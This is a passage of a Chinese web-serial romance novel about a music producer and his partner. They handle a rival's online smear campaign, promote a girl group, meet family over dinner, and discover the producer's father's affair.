一边倒的风向让不明所以只想发泄私人情绪的路人跟风骂,说的话也越发让人看不下去,原本在等一个真相的许稚舒的粉丝可不干了,多年的征战经验哪怕消停了很久,实力也依旧在线。 【一张图就开始跟我玩看图讲故事,这么能编,要不要应聘一下国外那些造谣媒体啊?!】 【好巧的路过,好巧的拍到,做了多年站姐,这个角度要不是早找好了位置等着,很难抓拍到好吧!】 【黑我们稚舒?真是想瞎了心了!】 【许稚舒平时待人什么态度有目共睹。现在你们张嘴就骂,骂完就当什么事都没有了,也不怕被雷劈?】 【我只信全程视频,拿张破照片就想毁许稚舒名声,我告诉你,不能够!】 【十分钟,我要那个自媒体账号的全部信息!】 “与全世界为敌”这个剧本Infinite粉丝已经熟到不能再熟了,从来没有在怕的。而且从他们出道以来,所有所谓的黑点最后都澄清了,所以粉丝信得过他们的人品。 初黎娱乐的宣传部原本在高高兴兴地为To ver今天傍晚的优秀表现加班,万万没想到遇到个搞事的。 许稚舒这边也很快收到了消息,他不太猜得准对方的意图。如果是冲他来的,他要是当时没反应过来呢?对方又要怎么黑他?而如果是冲To ver来的,To ver的回归并没有与任何人撞期,也没有挡别人的路,实在不用这么恨吧? 路煌的脸已经沉下来了:“这件事我会细查。” 还原现场的真相并不难,重点是要知道究竟是谁安排的,才能确定对方的意图,防止这样的事再发生。而出了这样的事,许稚舒和To ver的声誉都会受损,要怎么在辟谣跑断腿的情况下拉回声誉,也是当务之急,绝不能让To ver在回归期受影响,否则大好的局面就要断送了!—— 作者有话说:感谢支持!因为没有存文了,更新时间会有些不稳定哦! 第52章 扑过来的那个假粉并不好查, 毕竟人只露了一面,连脸都大众得让人记不住。周围的监控也仅能拍到当时的情况,要凭监控找人, 哪怕是对路煌来说, 也没那么容易。 而这件事并没有造成人员受伤,就算报警, 警察也最多是对对方进行批评教育, 很难去查什么幕后人员,警力也不是这么用的。 不过假粉丝不好查,拍照发微博那个倒是个现成的靶子。对方既然能为幕后的人做事,那只要诱惑足够大,也能为他们所用,除非拍照那个人就是幕后主使。 路煌那边开始下手查, 初黎娱乐也没闲着,以最快的速度复制了现场的监控。虽然没有声音, 但也能确定许稚舒属于正当防卫。哪怕站在那个位置的不是许稚舒,而是保镖, 也会采取同样的行动的。 在现场送To ver下班的粉丝也纷纷站出来, 把现场有声音的视频发出来,帮To ver和许稚舒澄清。所以说这件事澄清并不难,可遗憾的是因为这件事的发酵, 让To ver在音乐节的表现被弱化, 尤其是对To ver不感兴趣的路人,打人事件从事发到澄清热度都很高,没有人再有精力去关注To ver的音乐节舞台,只有前期发的一些舞台照片获得了片刻的关注度。 事情虽然简单,但许稚舒被冤枉了, 他的粉丝不乐意,网上出现了各种猜测,有怀疑这件事是针对许稚舒的;有说许稚舒是挡了别人的道的;也有说他制作的To ver的回归成绩太好,遭人嫉妒的……总之他的能量还是太大了,彻底把To ver的热度压没了。 这种情况下,许稚舒肯定不会任其发展,毕竟To ver是他手里的项目,开头已经做得这么漂亮了,不可能让她们半路哑火。 于是许稚舒开始动用自己的关系给To ver找机会。他在娱乐圈这么多年,不可能一点门路都没有,只不过从他退到幕后开始都很顺利,完全没有必要麻烦别人给他机会。而他因为有亮眼的成绩在那儿摆着,所以他去拜托别人,别人不仅不会拒绝,还乐得被麻烦。说句难听的话,娱乐圈就是一个看价值的地方,谁来都是这套规则。 其实这事交给初黎也行,只不过在即时性上应该没有他这么便捷。加上To ver的发展是专款专用的,各方面都要省着来,所以分给她们的人手有限,肯定不如许稚舒直接联系方便。 结束了一天的工作,路煌回到家,就见许稚舒在打电话。 他知道许稚舒这两天一直在为To ver联系演出,许稚舒的态度也很明确,所以他并不阻止。现在初黎的大部分重点还是放在Breeze身上,有的时候路煌也没办法,Breeze正是开始赚钱的时候,路煌没有不以他们为先的理由。 “好的,周六完全可以。行,那给您添麻烦了。”许稚舒客气地说。 那边也客气了几句,电话就挂了。 “联系到了?”路煌把带回来的晚餐放到餐桌上,才问许稚舒。 许稚舒心情明显不错:“嗯,周六赵洋在隔壁市有演唱会,没请助场嘉宾,正好可以把To ver塞进去。” 赵洋在乐坛也发展了七年了,看似不温不火的,但现场的号召力却大得惊人。许稚舒跟他相识是因为几年前两个人都到山顶赏夜景,这是艺人们单独行动时比较喜欢去的地方,大晚上的灯又暗,大家各赏各的,谁也不打扰谁,可以真正地放松下来, 结果那次下山的途中赵洋的车突然抛锚,怎么都打不着火了。冬天的大晚上,就算叫拖车也得等好一阵。许稚舒下山时正好认出了他,就把车子停到前面,请他到车上等,别在外面吹冷风感冒了。两个人就这么认识了,后面虽然没有合作,但一直有联系,如果在活动上遇到,肯定是会聊上几句的。 许稚舒继续道:“我还联系了长清,想安排她们上长清的节目。以To ver现在的热度,上节目也撑得起台面。收视不期望能匹敌你的那一期,但也是个露面的机会。” 路煌参加的那期节目热度大爆,已经为单长清打下了非常坚实的基础了。 由于这是单长清的个人节目,所以嘉宾调整就很方便,也不会挤掉原本请的嘉宾,只是把To ver的节目提前播而已。 “辛苦你了。”路煌是不愿意让许稚舒操这么多心的,可现在情况特殊,各方都得发力才行。如果To ver这次回归能够稳赚,那明年就可以不用专款专用了,完全有理由加入公司的正常运营中,谁也不会说什么。 “我就打几个电话的事,没什么辛苦的。”很多人看他的面子很愿意给To ver机会,但许稚舒也不是什么机会都要,得合To ver的调性。 路煌洗手换衣服,出来时许稚舒那边又收到一些回复,正在回话。他就把晚餐摆好,许稚舒回完话就来到了饭厅,两个人一起吃饭。 “今天公司忙吗?”许稚舒照例问道。两个人每天都会问上一句,已经习惯了。 “还可以,网上的风波都平得差不多了,但到了年底演出比较多,还有一些代言之类的,都要开会讨论。目前公司经营状态不错,在考虑明年推出一位新的solo歌手,准备工作现在就要开始了。”路煌跟他说着,这些在外肯定是保密的,但对着许稚舒,就没什么好保密了。 许稚舒理解地点点头,今天的炒鸡做得很嫩很入味,他很喜欢:“那个自媒体博主查得怎么样了?” “正要跟你说,已经有眉目了。我说了你肯定不意外,找他的人是杨阅。”路煌一点没卖关子,他看到杨阅的名字时,只觉得这个人是个傻缺,就算要干缺德事,就不能多套几层皮? 许稚舒冷笑一声:“我也是服了。这次我可没跟他撞期,他发疯是想砸我饭碗?” 许稚舒是真的不高兴了,之前他想让纬弦倒闭更多的是因为杨立致,现在他是真的想把杨阅踢出这个圈子,否则以杨阅这种随时发疯的脑回路,以后指不定会给他制造出多大的麻烦。 路煌当笑话一样把打听到的详细情况跟许稚舒讲:“纬弦从让杨阅接手后一直没有盈利,靠的是公司以前的艺人撑着门面,才不至于负债过多。Serein没能回归,公司养的音乐人又闹了好一阵,到现在也没有个结果,内部越来越乱,员工都无心认真工作了。杨立致去公司跟高层们语重心长地谈了一回,高层倒是妥协了,愿意让杨阅再试一次。可杨阅不知道怎么想的,想再推出一个女团,而不是让Serein回归。 “这次他也聪明了,没有事先张扬,训练、选歌、录制等等都是悄悄地进行,甚至都没用纬弦音乐人写的歌。明显是觉得如果这次成功了,就可以正明纬弦养的音乐人是废物,可能会让他们不这么敢闹了。 “结果他那边一切准备就绪,听说是正要宣布新团出道的消息,就赶上初黎发布了To ver的回归。他不想再撞期,就压住了没宣布。现在To ver新歌爆了,他又觉得你挡了他的路,所以想弄黑热搜,把你和To ver都拉下来。” “真他妈的是脑子有病,国外野鸡大学的水平也是让我见识到了。”许稚舒都不知道怎么骂了,他平时真的极少骂人。 路煌还算冷静:“我只是好奇,纬弦现在这样,杨立致是怎么还会继续让杨阅管理的?他手里的岸边传媒并没有做起来,如果纬弦倒了,他不是赔了夫人又折兵?” 许稚舒也反应过来,的确,杨立致不是傻子,而且是个利己主义者,不可能放任手里的财产流失,他不仅没给杨阅撤职,还帮着跟高层谈,实在反常。 “看来这里面有事啊。”许稚舒猜,至于什么事,他就猜不到了。 “我找人打听一下?”路煌问许稚舒的意见,他知道许稚舒不愿意跟杨立致接触,也不大愿意听到杨立致的消息。 许稚舒一笑:“不用,你打听肯定不如大哥快,我问问大哥。”毕竟大哥在杨家留了眼线的。 路煌来了兴致:“正好,这次让我正式跟你大哥见一面吧,我请吃饭。” 这是路煌第二次提这样的要求了,许稚舒也跟杨观说了他们的事,没有拒绝的理由。 “好,一会儿我给他打电话。” 杨观最近在看新项目,有几块地皮都在他的考虑范围内,但因为手头资金有限,位置特别好的或者特别大的,他肯定拿不下来,与别人合伙拿,他的话语权肯定低,到时候收益能不能达到预期就难控制了。所以他只能看一些小地块,要赌的就是这些地方三五年后的发展。正是因为太忙,所以网上的消息他并没有注意到,他母亲知道他忙,也没跟他讲。 许稚舒把自己遇到的事和猜测都在电话里跟杨观说了,请他帮忙打听一下,并约他吃饭。许稚舒的要求杨观是肯定不会拒绝的,哪怕时间只够吃个夜宵也得见一面。 听了全程的电话,路煌满意得不得了。在电话挂断后,他就抱住了许稚舒:“我要不要给你哥买点见面礼?” 许稚舒都没想过这一层,笑说:“不用吧?” “还是得准备,给他留个好印象。”这对路煌来说跟见家长没有区别。 “你想送什么?”许稚舒好奇,其实送什么都可以,杨观不可能挑剔。换位思考,如果是路煌带他正式见家长,他应该也会考虑送什么见面礼比较合适。 “没想好,我再琢磨一下。”路煌亲了亲他的脸,等见完杨观,路煌觉得他和许稚舒的关系也应该再进一步了,他很期待—— 作者有话说:感谢支持!昨天临时请假了,让大家久等了! 第53章 为了方便, 三个人的见面还是定在了盛夏会馆。 许稚舒介绍杨观和路煌正式认识,两个人都很客气,这也让他们对对方的印象不错。在杨观看来, 路煌不是个嚣张的人, 他也能放心些。而对路煌来说,杨观也不像是个多事的人, 多个这样的家人是助益, 而不是麻烦,这就很好了。 两个人都是以许稚舒的喜好为主,所以一桌子都是许稚舒喜欢的菜。由于都是开车来的,并没点酒,虽说酒品见人品,可第一回一起吃饭就灌对方酒, 可不是有品的表现。 菜上齐了,不需要多余的客套, 三个人就提起筷子开始用餐。 杨观边吃边带来了刚问到的消息。 “说来的确挺奇怪,我爸这三四个月都不怎么回家, 说是公司忙。以前杨阅做得不好的地方, 他知道了还会发脾气,得他老婆好声好气地劝一阵才行。现在不知道怎么了,也不说杨阅了。”杨观说得也是满心疑惑, 这跟他印象中的父亲很不一样。 杨观:“我之前跟你说过, 因为你表现得太优秀,杨阅和他妈一直有心防你,怕你回去争家产。但近来我爸的态度倒让他们私下没怎么提到你了。至于前几天杨阅又开始作,估计是你的成就再次刺激到他了。作为一个废物,他别的不行, 嫉妒心倒是挺强的。” 许稚舒疑惑道:“杨立致怎么突然转性了?难道他新创立的岸边传媒要有大起色?” 除此之外,他还真的想不到别的。作为一个对自己的钱财和利益看得无比重要的人来说,除非是有更大的收益,否则不会放任纬弦继续亏损才是。 杨观顺手给许稚舒盛汤:“我还真打听了,并没有听说有大投资进场,也没听说岸边传媒要签哪个能带货的大明星。如果我爸天天回家,我妈留在杨家的眼线还比较容易得到消息,现在他不常回去,倒是不好办了。” 有一说一,在杨家留眼线不难,毕竟杨观的母亲曾经是杨家的女主人,杨观就算现在不跟杨立致一起生活,那也是杨家的大少爷,这是不会变的。可要想在杨立致身边安排人,可就没那么容易了,万一露馅,杨立致倒不至于对他们如何,但肯定会把身边可疑的人拔除干净,到时候想再安排人就更难了。 “不回家他能去哪儿?别跟我说是住公司与员工们同甘共苦。”许稚舒嘲讽道。 杨观乐了,他也不信。 倒是路煌,给许稚舒夹了菜后,说:“我倒有个猜想,男人不回家,往最俗的地方猜,就是可能性最大的。再说,他本来也不是什么专一的人,人品问题你俩都清楚。” 许稚舒和杨观都是一愣,两个人是完全没往这方面想过。 路煌看他们这个表情,不禁笑道:“大哥,你是没谈过恋爱吧?” 路煌比杨观大上几个月,但因为他是许稚舒的恋人,自然是要随着许稚舒叫的。他自己也没有任何心理负担,还觉得挺有意思。 杨观尴尬地笑了笑,答:“读书的时候还是谈过的。” 路煌不是想笑话他:“作为一个绝对的旁观者,我是觉得杨立致狗改不了吃屎的可能性最大。大哥如果有时间,不如往这个方面打听看看。” 路煌知道杨观这个做儿子的,就算不喜欢父亲,也不会首选往这方面想。而许稚舒对杨立致只有恨,想的更多的可能是杨阅什么时候能把那老东西搞破产,不会往婚变上考虑。 “你还真是给我提供了一个不错的思路。”杨观一下找到了新方向,如果真是这样,那杨家的财产怎么分,就要重新规划了。 之后杨观又跟许稚舒聊了如何防范的事,在杨阅没彻底滚出纬弦之前,总是有机会搞事的。也是因为有纬弦的层层关系在,他想搞热搜并不难。哪怕许稚舒再有理,三番五次发生这样的事,说不准不明真相的人就会觉得是许稚舒自己搞的黑热搜,是一种宣传策略,从而也会影响到许稚舒的口碑。 许稚舒这次是真的重视起来了:“我知道。我也从不觉得自己是君子,他能黑我,我也能黑他。就成绩来说,现在明显是他更被动。如果这次他手里的女团再没水花,纬弦肯定比现在还动荡。” 这种事肯定是对不起女团成员的,但To ver不无辜吗?好在他还能联系到几个资源,否则To ver就会被连累成无效回归,路千瑗的钱就跟着打水漂了。 吃到晚上八点多,差不多该散局了,明天都得上班。 趁许稚舒去洗手间的工夫,杨观对路煌道:“我能看得出你们的感情很好,能多一个人照顾和关心稚舒,我很高兴。但我不会说‘以后稚舒就交给你了’这样的话,我是他哥哥,无论何时,我都有照顾他的责任和义务。我认同你们的关系,但也希望你知道,稚舒背后还有我,我就是他的家人,你不要欺负他。” 路煌对杨观的话一点意见都没有,甚至觉得杨观这人真的不错。明明跟许稚舒是外人看来非常尴尬的关系,却愿意尽兄长的责任,很难得了。 “大哥放心,我可不敢欺负他。他要生气了,我哭都来不及。”路煌没有半点玩笑的意思。 杨观笑了:“他脾气好,你只要别做对不起他的事,他不会真跟你生气。” 路煌无奈地笑着,对“脾气好”这三个字又有了新的认知。许稚舒是不常生气,素日待人也很温柔,但他要是下定决心不往来了,那就真没机会了。 “大哥,听说你最近在看几块地。”路煌说得笃定,明显是早打听过了。 杨观挑眉,没有否认。 “五福广场东北角那块地你可以考虑。跟它相对的那块地之前是做房地产的吴家拿的,但一直没动。今年年初开始,吴家资金链断了,为了补这个缺口,那块地在上个月转手给了费家,费家准备在那里盖商场,已经找人开始设计图纸了。”路煌觉得任何见面礼都不如一个实实在在有用的消息,所以刚见面时送给杨观的酒只是过场,这才是他给杨观准备的礼物。 杨观一怔:“确定能盖起来?” 路煌笑说:“我家的投资公司投了这个项目,退一万步说,如果费家干不起来,估计我家会收这块地,到时候还是一样的设计。那边人口密度大,却没有一个综合性商场,有人觉得那里消费能力不行,做商场不划算。但据我家公司评估,高端商场肯定不行,可中低端的,更能解决民生的商场倒是不错的选择。 “东北角的那块地地方不大,如果你愿意拿了去做city walk类型的一条街,也是不错的选择。那边离地铁站不远,年轻人去玩很方便。 “商场的服饰、餐饮基本都是连锁品牌,鲜食区或者小吃街也都是一些源海市的特色美食,主打一个平价。那你那条街就可以主打个人品牌,咖啡店、古着店、小吃、杂货店之类的都能做,重点是风景一定要做得漂亮,能成为打卡地。也要尽量控制小店的人均价位,不要做一锤子买卖。两边相辅相成,还怕做不起来吗?” 杨观原本以为路煌能提醒他一句已经是仁至义尽了,没想到还给出了不错的方案。 “你也可以在那里做个体量适中的live house,可以承接一些活动。像艺人如果举办粉丝见面会,就可以直接选那里。”都是自己人,路煌手里又握着初黎,这个主还是能做的。 “多谢。”杨观认真道谢,这个消息对他来说真的太重要了,他也不用纠结了。 “不客气,我也希望你能好好发展,成为稚舒更有力的后盾。现在费家在设计商场的消息还没传出去,你尽快下手,晚了竞争大,到时候价格恐怕没有现在划算。”路煌想着多一个人守护许稚舒,他更安心。毕竟他也只是个人,总有顾不全的地方,有后备力量是件好事。 许稚舒从洗手间出来,两个人已经谈完了,路煌装作无事发生的样子,他并不希望许稚舒有负担,所以这个消息他私下跟杨观说就得了。 路煌跟杨观交换了联系方式,说下次有机会再聚。 回去的路上,许稚舒坐在副驾驶,笑说:“看起来你跟大哥相处得不错。” 否则路煌是不会主动要求交换联系方式的。 “虽然接触得不多,但跟你哥说话很舒服,他是个聪明人,又没有那么世故,相处起来不费劲儿。”路煌评价。商场上推杯换盏间客气奉承的话他不反对,但如果私下小聚也这样,他就会反感。 “的确,他外公家家教很好的,他也被养育得不错。”许稚舒话刚说完,路千瑗的电话就打来了。 许稚舒一边跟路煌说“是千瑗的电话”一边接通了:“喂?你这个时间是在家还是没下班?” 路千瑗从进了家里的公司工作,加班就成了常态。路家大小姐又怎么样?给自己家工作又怎么样?该加的班一点不少,还得拿出大小姐的样子,凡事都要尽力做到最好,才不丢份。 “刚下班,我看那些上班族都自称牛马,我原本以为我给自己家工作,应该不会有这种心态。结果都是一样的!我现在觉得自己就是生产队的驴,工作多得做不完!”路千瑗毕竟年轻,哪能一点抱怨都没有? 许稚舒没忍住笑了:“那找个你有空的时间,带你去吃好吃的?” 吃往往是最容易疏解工作情绪的方式之一。 路千瑗笑说:“我接下来的十天都有空!” “怎么突然闲下来了?”许稚舒不解。 “我休年假了!”路千瑗的语气明显能听出兴奋,哪怕是藏在疲惫后面的,“大哥说年假这个月不休完,月底的两个月中高层是不许请长假的。最近你和二哥忙吗?不忙的话见一面吧。” 许稚舒突然想到了什么,笑说:“下周一我要陪To ver去参加长清节目的录制,你要不要一起去?” “要!”路千瑗毫不犹豫地应道。还有什么能比当了这么长时间牛马后见自己偶像一面更让人心情愉快的事呢? “那晚一点我给发具体的时间,你现在最好赶紧回家泡个澡早点休息。见长清顶两个黑眼圈你应该不想的吧。”许稚舒逗她。 路千瑗立刻道:“我这就回去了。许哥,你真好!” 许稚舒笑出声,让她回去路上让司机慢点开,才挂了电话—— 作者有话说:感谢支持! 第54章 To ver的行程排得很满, 原本公司并没有给To ver定太多工作,是想等初舞台之后看情况。现在但凡能有亮眼的成绩,别说第二天工作马上就能挤上来, 想要流量的主办方就是把别人刷下去, 也得把流量王者抬上来,根本不愁没机会。 可To ver的初舞台并没有达到预想的效果, 很多主办方和节目还在观望, 好在许稚舒这边下手快,才没让To ver闲着。 赵洋的演唱会To ver如约参加。演唱会嘉宾都是保密的,甚至有没有嘉宾也会保密,所以To ver出现在台上时,的确给粉丝们带来了一些惊喜。作为表演嘉宾,肯定不能抢赵洋的风头, 再说,大家是冲着赵洋来的, 占用太多时间说不定会引发反感,所以To ver非常克制地只表演了两首歌, 一首是新推出的《自己的世界》, 另一首是赵洋的歌,只不过改成了合唱版本。 赵洋演唱会的热度本来就不低,To ver作为嘉宾, 自然也引起了足够的关注。只要团队的宣传再给点力, 一下就将To ver往上拉了一把。 而不出预料的,To ver果然上了热搜,就算没到高位,现场的视频放出来,就等于是给外界一个信号——To ver的新歌还在宣传期, 别以为她们会就此无声无息地等待歌曲飞榜。 但这次许稚舒并没有跟去,他要和单长清聊节目的内容,毕竟这么多女孩,谁多说一句,少说一句,唯粉们恐怕会有计较,所以要尽量平衡每个人的发言时间。另外,把每一个女孩都记住也是需要时间的,虽说万一叫错了名字后期可以剪掉,但多少会影响单长清的状态。单长清不是专业主持人,还是非常吃状态的,最好现场的状态能一直顺下来,感官上会舒服许多。 “录节目的时候,路煌的妹妹也想去现场看看,可以吧?”许稚舒认为还是要先和单长清说一声。 “当然。”别的不说,就“路煌妹妹”这个身份,就足够了。 “那晚上一起吃个饭?我让路煌也过来。”许稚舒问,这要看单长清是不是有空。 “Perfect!工作之后有兄弟局简直是最好的放松。”单长清明显很高兴,“贺漾和西卓都不在源海,等西卓这部戏拍完吧,咱们五个再聚。” “行,到时候我来安排。”上一次是单长清安排的,这次许稚舒主动揽了。 * 录制当天,路千媛打扮得很漂亮,由司机先送他到许稚舒的工作室,然后再和许稚舒一起出发。许稚舒不方便直接去路家接她,只能费点事了。 见她这样精心打扮,许稚舒笑着夸她漂亮。 路千媛没有不好意思,而是开启了吐槽模式:“别提了,从上班以来,我都没买好看的衣服。为了装得很专业,我天天都穿职业装。许哥,你看我是不是都没有朝气了?” 许稚舒笑出了声,让周围的空气都轻盈起来:“没有,还是很可爱。上班下班两种风格也很好啊。” “你不用安慰我,上班的牛马能好到哪儿去?好在我现在面上没出过什么错,看着还挺能唬人的。”对着许稚舒,路千媛就不用展示自己的高大上了。 “这说明你有足够的工作能力。”许稚舒突然有点为路煌惋惜,明明路煌的能力也很出众的,如果不是非要跟他在一起,路煌还是会像之前一样作着投资精英层级的事。 路千媛实话实说:“看怎么比吧。反正跟我大哥比,我就是个菜鸟。” “你工作的时间尚短,不要给自己太大压力。” 路千媛点头:“我知道的。” 拿上要带的东西,两个人就出发了。 To ver的成员要先去化妆室做好妆发,才会到录制场地,单长清这边不提供妆造,毕竟是小本节目,请不了那么多人。 “许老师。” “许老师,下午好。” 成员们见到许稚舒,立刻跟他打招呼。眼睛不自觉地最后都落到了路千媛身上。 许稚舒没介绍路千媛是她们的“金主”,担心女孩们以为路千媛是来视察她们表现的,到时候一紧张,反而发挥不好。 “这是我妹妹,你们不用在意。”许稚舒含糊地介绍道。 路千媛从善如流地跟她们打招呼。 都是女孩子,To ver的成员也没有任何防备心,与路千媛相互问好后,就被经纪人带进去了。 许稚舒则带着路千媛去了录制组那边,那里准备了椅子,是供他们坐在场外观看的。 节目准时开始录,看到单长清走进录制棚,路千媛就兴奋地去抓许稚舒的袖子。见到偶像的快乐不追星的人是体会不到的。 线下和线上的观感完全不一样,路千瑗眨眼的频率都变慢了。 许稚舒跟单长清实在太熟了,倒没有什么特别的感觉。 “一会儿我能跟单长清合影吗?”路千媛小声问许稚舒,眼里全是期待。 “当然。我还约了他吃饭,晚点你二哥也来,咱们一起。” 路千媛用力抓着许稚舒的胳膊,仿佛这才是她真正的亲人!一切都在不言中了! 节目录制了两个多小时,最后会剪到一个小时。快结束的时候,路煌给许稚舒发来消息,说他到录制棚的停车场了。 许稚舒跟路千媛说了一声,让她在这儿等,他去接路煌进来。 秋风徐徐,吹得人十分舒服。哪怕是在这个容易伤秋的季节,因为有爱的人在身边,落叶看着都是美的。 路煌已经站在车边等他了。看到他出来,路煌不等许稚舒过来,就大步走了过去。 “起风了,赶紧进去。”路煌习惯性地牵上许稚舒的手。录制场地比较偏,不会有记者跑到这里偷拍。再说,提前爆一个聊天类节目的嘉宾实在没这个必要,没有新闻价值,所以并不用担心被拍到。 两个人进了第一道门,路煌随手帮许稚舒整理了被吹乱的头发:“小丫头没搞事吧?” 就算路煌知道路千媛是个很有规矩的女孩,但追星什么样谁又能说得准呢? 许稚舒笑说:“挺好的,就是看着很兴奋。” “希望她别想一出是一出。” “怎么会?千媛是个理性的女孩。” 路煌嘴角抽了抽,在人前需要路千媛板板正正的时候,她从来不丢份。但从小到大这丫头本质是个什么样子,路煌可太清楚了。 果然,最了解路千媛的还得是她哥。等To ver离开后,许稚舒和路煌才带着路千媛去打招呼,路千瑗第一句是“你好,我是你的粉丝!”第二句是“你需要投资吗?我可以给你投!”,然后就被路煌捂着嘴拖走了。 单长清没觉得被冒犯,反而觉得路家小姐还挺有意思,不是那种高高在上的感觉,倒是很友善。 许稚舒其实是被路千媛的话说懵了的,但为了小姑娘的形象,还是帮着找补,说:“她在初黎有投资,可能是看到有潜力的项目就心动了。” 单长清点头道:“路煌的妹妹,有投资的头脑很正常。” 路煌把路千媛带出去,进行了口头的批评。倒不是觉得妹妹丢人,只是要投资也没有这么问的,弄得像要包养人家似的。 “你若真想投,就应该先查这档节目的所有信息,看节目需不需要。而不是刚见面就开口问,太业余了。”路煌说。 路千媛整理着自己的衣袖:“我是看到单长清太高兴了嘛。” “高兴也得讲礼貌。” “知道了。不过我看他这个节目已经有赞助商了,我现在进场不是好时机。或者他还有别的项目,我可以投一下?”路千媛思考着。 最开始这档节目并没有冠名的赞助商,是路煌那一期播出后爆了,赞助商才冲了上来。 “知道长清是你的偶像,但你做事也得讲就个度。上来就一副暴发户的口吻,不尊重人。”有些事即便单长清不会计较,路千媛也没有这个意思,路煌该提点的还是要提点,毕竟单长清是他的好友,也算是路千媛的半个哥哥,他不干涉路千媛的投资,但也不能因为这种事影响到他们的友情。 “我明白。我就是想为他花钱,虽然听着俗气,但你不觉得很实在吗?”路千媛有自己的理由,为偶像花钱,对不差钱的她来说就是给自己提供情绪价值,“就像你肯定总想给许哥花钱,希望送他礼物,让他高兴,都是一样的。” 路煌眉头一皱:“哪里一样?稚舒是我的爱人,我给他花钱是天经地义的。” “请问,偶像和恋人的区别是什么?除了身份不同,不都是起到一个陪伴的作用吗?”路千媛有自己的道理。 偶像出身的路煌一时竟无法反驳,偶像除了是理想的自己,陪伴粉丝共同成长外,其实最早也是有恋人的意味在里面的。 “总之,你控制点分寸。”路煌难得有说不过路千媛的时候,他把这次失利总结为自己没追过星,败就败了吧—— 作者有话说:感谢支持! 第55章 吃饭的地方是一家私房菜馆, 这家菜馆地方不大,都是包间,没有固定的菜单, 都是老板今天买到了什么菜, 就做什么,顾客没有选择权。即便如此, 依旧非常受欢迎。许稚舒能短时间内订到这里, 也是恰好有客人取消了预订,许稚舒就补了这个空。 车子停好,乐言给许稚舒打来电话,许稚舒让路千瑗先去包间,他接完电话就上去。 乐言是接到一个一线品牌的电话,对方想问问许稚舒有没有愿意在今年圣诞期间做他们圣诞限定款的代言。 许稚舒虽然已经退出台前了, 但代言并不一定非得是台前的明星,也有运动员、作家、某个领域内极具权威的网红……总之知名度够, 格调与品牌一致,都是有机会接到代言的。 圣诞限定这类的代言合作的时间短, 给的头衔品级也不会是最高的, 对一线以下的艺人来说,只要品牌档次够高,是完全可以接受的, 只要表现的好, 以后还有合作的机会,头衔不就是这么慢慢升上去的吗?可对一线且作品质量非常能打的艺人,是不愿意降身价的。 许稚舒现在已经不在圈里抢排位了,对方还愿意找他,是对他创作能力的认可。其实许稚舒并不想接这个工作, 毕竟他转幕后了,没必要跟艺人争这个机会,况且他不差钱,也不差知名度。可想到杨阅干的恶心事,他就觉得到时候商场外大屏幕上都是他的照片,估计也能把杨阅气个半死。想法是有点幼稚,但他心里爽很重要。 “行,先谈谈看吧。”许稚舒说,“代言费我这边没要求,但我要在商业中心有一个足够大的广告位。” 不需要他再多说,乐言就明白了。给许稚舒谈代言的活他之前没干过,生疏肯定是有的,可经过一年多的工作对接,他也有了一定的经验,一定能把事情谈妥。 “对了……”许稚舒刚说了两个字就顿住了。 在他讲电话期间,有辆车停到了他的车子对面,这会儿车上的人下来了,许稚舒在看清楚对方后,瞬间冒出想发动车子直接撞过去的恶念。 从车上下来的是杨立致,随后一个女人也下了车,满脸笑意地挽上了杨立致的胳膊,显然关系很亲密,而这个女人并不是杨阅的母亲,而是一位女演员,许稚舒对她有印象,隐约记得好像是叫潘鹂。 两个人走到车前,杨立致不知道吩咐了司机什么,一阵风吹过,将潘鹂没记扣的风衣吹开了些,许稚舒眼睛立刻瞪大了——潘鹂怀孕了,而且肚子已经很大了! 许稚舒瞬间想起路煌的猜测,杨观那边虽然还没有消息,但现在看来,说不定真被路煌说对了。 “许哥?许哥,你没事吧,怎么不说话了?”电话那头的乐言没听到后续,担心地叫了他几声。 许稚舒这才回神:“哦,没事了,你先忙吧。” 说完,许稚舒就挂了电话。 跟司机吩咐完,杨立致就小心地扶着潘鹂进了菜馆,要说这两个人只是普通朋友关系,许稚舒是肯定不信的。 这应该就是杨立致最近不回家住的真正原因。而如果这个孩子是杨立致的,那以后杨家的财产怎么分,就会是新一轮的问题。他是不会跟杨家沾上分毫的,只是他大哥不能吃亏。 许稚舒立刻给杨观发了语音过去。杨观从三个人见面吃过饭后,就开始着手准备去拿路煌说的那块地,忙得很,许稚舒不指望他立刻回消息。 又在车上小坐了一会儿,许稚舒才上楼。菜已经在陆续上了,路千瑗正在跟单长清聊天,看起来聊得还挺热络,路煌不时在旁边补几句,氛围很好。 三个人都知道他在楼下接电话应该是工作的事,并没有多问。等他落座就开席了。没有外人,也不需要客套,四个人都饿了,边吃边聊。 路千瑗像是有说不完的话题,单长清也乐意回答她的问题。毕竟是路家养出的孩子,想不让人反感地多聊几句,是有自己的一套方法的,既能了解对方,又不会涉及隐私。 倒是许稚舒,一直心不在焉的。他没想到有一天杨立致的事居然会占据他这么长时间的注意力。 路煌很快就发现了他不在状态,低声问他是不是身体不舒服? 许稚舒摇摇头,挤出个笑容,借口说自己在想些事。如果只有他们两个,他肯定就直接跟路煌讲了。 别人或许看不出来,但路煌一眼就能看出许稚舒是不是在找借口。表面不动声色地给他夹了菜,在桌下还是握了一下他的手。 许稚舒回握了一下,表示真的不是身体不适。 路煌心里就有数了,多半是别的事。应该和工作无关,否则没必要瞒着单长清和路千瑗,这两个绝对不是多嘴的人。那就只剩下一方面了,就是杨家的事。 “先吃饭,这几道菜做得不错。”路煌哄着许稚舒吃饭,吃好了心情自然会好一点,剩下的还是缓不好的部分,他们再一起解决。 许稚舒的确被震惊到了,一时又想起自己的母亲有多么的不值。但为了爱他的人,他也不能为不值得的人破坏心情,于是开始认真吃饭。 今天这顿饭本来就是大家聚一聚,没有特别的事要谈。等吃得差不多了,路千瑗也得到了单长清的联系方式。路煌提醒她没事别打扰单长清,单长清倒是没说什么,毕竟是路煌的妹妹,他并不担心自己的联系方式会被出卖。 出了包间往外走时,路煌手搭着单长清的肩膀,道:“要有需要帮忙的,随时找我。现在初黎开始有收益了,经济压力小了不少,你们如果需要投资,可以跟我说。” 单长清微笑着点头:“放心,真有困难我肯定不跟你客气。” “那就好。” 四个人开了三辆车过来,路煌要送路千瑗回家,许稚舒和单长清就各自开车回去了,说下次见面应该就是拍许稚舒那一期的时候了,到时再联络。 刚进家门,许稚舒就收到了杨观的回复,杨观也很震惊,万万没想到杨立致都这个年纪了,居然又要当爹了。他已经在查杨立致是不是在外面又养人了,结果他这边还没结果,许稚舒就给他提供了一个具体的人。 